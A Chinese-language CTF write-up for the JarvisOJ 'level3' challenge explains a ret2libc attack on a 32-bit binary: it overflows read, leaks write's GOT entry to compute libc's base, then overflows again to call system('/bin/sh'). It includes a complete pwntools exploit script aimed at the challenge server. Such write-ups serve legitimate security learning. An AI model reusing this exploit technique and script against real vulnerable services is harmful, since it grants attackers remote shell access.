题目地址
这类的题目类型为ret2libc
32位的程序,用IDA打开,read函数存在溢出
程序中没有找到system函数,也没找到/bin/sh,但是给了一个libc-2.19.so,我们需要读取某一个函数 got 表中的地址来计算 libc 的基址,最终计算system和/bin/sh内存地址
got表和plt表的关系参考
思路:
1、让read函数溢出,然后用write函数泄露write函数本身的地址
2、利用函数在内存中的地址和libc文件中的偏移的差相等,来获取基址,通过基址来获取system和/bin/sh的地址
3、再次返回vulnerable_funcion函数,进行二次溢出获得shell
脚本如下
# -*- coding: UTF-8 -*- from pwn import * r=remote("pwn2.jarvisoj.com",9879) elf=ELF("./level3") writeplt=elf.plt["write"] writegot=elf.got["write"] func=elf.symbols["vulnerable_function"] libc=ELF("./libc-2.19.so") writelibc=libc.symbols["write"] syslibc=libc.symbols["system"] binlibc=libc.search("/bin/sh").next() payload1='a'*0x88+'aaaa'+p32(writeplt)+p32(func)+p32(1)+p32(writegot)+p32(4) #再次返回func函数为了是进行二次溢出,后面三个分别是wirte函数的参数 # 1表示标准输出流stdout,中间是write是要输出的地址,这里要输出writegot,4是输出的长度 r.recvuntil("Input: ") r.sendline(payload1) writeaddr=u32(r.recv(4)) sysaddr=writeaddr-writelibc+syslibc binaddr=writeaddr-writelibc+binlibc payload2='a'*0x88+'bbbb'+p32(sysaddr)+p32(0xaaaa)+p32(binaddr) r.recvuntil("Input: ") r.sendline(payload2) r.interactive()
执行结果